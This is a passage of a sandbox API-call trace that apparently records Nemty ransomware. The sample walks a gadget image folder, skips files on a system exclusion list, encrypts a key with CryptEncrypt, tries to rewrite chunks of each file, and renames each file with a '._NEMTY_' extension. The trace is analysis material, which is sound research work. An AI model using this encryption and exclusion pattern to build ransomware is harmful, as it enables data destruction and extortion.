lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0115.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0115.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0115.459] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828faeb5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x828faeb5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2861e485, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="diner_h.png", cAlternateFileName="")) returned 1 [0115.459] lstrcmpiW (lpString1="diner_h.png", lpString2=".") returned 1 [0115.459] lstrcmpiW (lpString1="diner_h.png", lpString2="..") returned 1 [0115.459] lstrcmpiW (lpString1="diner_h.png", lpString2="...") returned 1 [0115.459] lstrcmpiW (lpString1="diner_h.png", lpString2="windows") returned -1 [0115.459] lstrcmpiW (lpString1="diner_h.png", lpString2="$RECYCLE.BIN") returned 1 [0115.459] lstrcmpiW (lpString1="diner_h.png", lpString2="rsa") returned -1 [0115.459] lstrcmpiW (lpString1="diner_h.png", lpString2="NTDETECT.COM") returned -1 [0115.459] lstrcmpiW (lpString1="diner_h.png", lpString2="ntldr") returned -1 [0115.459] lstrcmpiW (lpString1="diner_h.png", lpString2="MSDOS.SYS") returned -1 [0115.459] lstrcmpiW (lpString1="diner_h.png", lpString2="IO.SYS") returned -1 [0115.459] lstrcmpiW (lpString1="diner_h.png", lpString2="boot.ini") returned 1 [0115.459] lstrcmpiW (lpString1="diner_h.png", lpString2="boot.ini") returned 1 [0115.459] lstrcmpiW (lpString1="diner_h.png", lpString2="AUTOEXEC.BAT") returned 1 [0115.459] lstrcmpiW (lpString1="diner_h.png", lpString2="ntuser.dat") returned -1 [0115.459] lstrcmpiW (lpString1="diner_h.png", lpString2="desktop.ini") returned 1 [0115.459] lstrcmpiW (lpString1="diner_h.png", lpString2="CONFIG.SYS") returned 1 [0115.459] lstrcmpiW (lpString1="diner_h.png", lpString2="RECYCLER") returned -1 [0115.459] lstrcmpiW (lpString1="diner_h.png", lpString2="BOOTSECT.BAK") returned 1 [0115.459] lstrcmpiW (lpString1="diner_h.png", lpString2="bootmgr") returned 1 [0115.459] lstrcmpiW (lpString1="diner_h.png", lpString2="programdata") returned -1 [0115.459] lstrcmpiW (lpString1="diner_h.png", lpString2="appdata") returned 1 [0115.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_h.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0115.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_h.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diner_h.png", lpUsedDefaultChar=0x0) returned 11 [0115.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0115.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_h.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0115.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_h.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diner_h.png", lpUsedDefaultChar=0x0) returned 11 [0115.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0115.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_h.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0115.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_h.png", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diner_h.png", lpUsedDefaultChar=0x0) returned 11 [0115.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_h.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0115.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_h.png", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diner_h.png", lpUsedDefaultChar=0x0) returned 11 [0115.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0115.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0115.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0115.460] Sleep (dwMilliseconds=0x5) [0115.470] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf878c670, dwHighDateTime=0x1d561e7)) [0115.470] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf878c670, dwHighDateTime=0x1d561e7)) [0115.470] GetLastError () returned 0x5 [0115.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0115.470] GetLastError () returned 0x5 [0115.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0115.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0115.470] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0115.470] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0115.471] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0115.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0115.471] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="gJ22ke82ql/5QeDJjJpFXnVw39pMRkpRaZQA3+JzxAhPLWQZGOWYTgogYdSTQWsX\r\n7yiwMh9t9NxXMrBmRm4ND68EOXpKZf9o1HxJ8Lrl/5muAWABSBWBRHnCuTvyzgUo\r\nTK+P9nSI2yWE9LGo8dwEZK7n6rGUuAGReagG0fFy3ewtDpXwstOV5UYdB8MWWGTf\r\nIEPOQHmeULRrw93Vm2D0ot8tdCWaZVAcp8TDUISM0s2cJs66zFQENsNSNtcpmnna\r\nmDD+PsQBRtTUXygHMW+/fTjvg6EMgHXpXmhsuqdK2OcQkxFuoCQHMZxhTmhezlN7\r\naQzBQZtX7IunjrJ2Q2KRCw==\r\n", pcchString=0x653e91c) returned 1 [0115.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0115.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0115.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0115.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0115.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0115.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0115.471] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_h.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0115.472] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0115.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0115.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.472] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.481] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.481] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.490] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.490] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.490] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.491] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.500] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.500] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.500] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.500] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.509] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.509] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.509] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.509] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.518] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.518] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.527] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.528] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.537] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.537] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.546] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.546] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.555] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.556] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.565] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.565] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.571] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.571] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.571] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.571] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.577] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.577] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0115.577] CloseHandle (hObject=0xffffffff) returned 0 [0115.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0115.577] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0115.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0115.577] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0115.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0115.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0115.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0115.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0115.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0115.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0115.577] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_h.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_h.png._nemty_kgobjgd_")) returned 0 [0115.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0115.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0115.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0115.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0115.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0115.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0115.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0115.578] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82921012, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82921012, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x286445e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="diner_m.png", cAlternateFileName="")) returned 1 [0115.578] lstrcmpiW (lpString1="diner_m.png", lpString2=".") returned 1 [0115.578] lstrcmpiW (lpString1="diner_m.png", lpString2="..") returned 1 [0115.578] lstrcmpiW (lpString1="diner_m.png", lpString2="...") returned 1 [0115.578] lstrcmpiW (lpString1="diner_m.png", lpString2="windows") returned -1 [0115.578] lstrcmpiW (lpString1="diner_m.png", lpString2="$RECYCLE.BIN") returned 1 [0115.578] lstrcmpiW (lpString1="diner_m.png", lpString2="rsa") returned -1 [0115.578] lstrcmpiW (lpString1="diner_m.png", lpString2="NTDETECT.COM") returned -1 [0115.578] lstrcmpiW (lpString1="diner_m.png", lpString2="ntldr") returned -1 [0115.578] lstrcmpiW (lpString1="diner_m.png", lpString2="MSDOS.SYS") returned -1 [0115.578] lstrcmpiW (lpString1="diner_m.png", lpString2="IO.SYS") returned -1 [0115.578] lstrcmpiW (lpString1="diner_m.png", lpString2="boot.ini") returned 1 [0115.578] lstrcmpiW (lpString1="diner_m.png", lpString2="boot.ini") returned 1 [0115.578] lstrcmpiW (lpString1="diner_m.png", lpString2="AUTOEXEC.BAT") returned 1 [0115.578] lstrcmpiW (lpString1="diner_m.png", lpString2="ntuser.dat") returned -1 [0115.578] lstrcmpiW (lpString1="diner_m.png", lpString2="desktop.ini") returned 1 [0115.578] lstrcmpiW (lpString1="diner_m.png", lpString2="CONFIG.SYS") returned 1 [0115.578] lstrcmpiW (lpString1="diner_m.png", lpString2="RECYCLER") returned -1 [0115.578] lstrcmpiW (lpString1="diner_m.png", lpString2="BOOTSECT.BAK") returned 1 [0115.578] lstrcmpiW (lpString1="diner_m.png", lpString2="bootmgr") returned 1 [0115.578] lstrcmpiW (lpString1="diner_m.png", lpString2="programdata") returned -1 [0115.578] lstrcmpiW (lpString1="diner_m.png", lpString2="appdata") returned 1 [0115.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_m.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0115.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_m.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diner_m.png", lpUsedDefaultChar=0x0) returned 11 [0115.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0115.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_m.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0115.579] 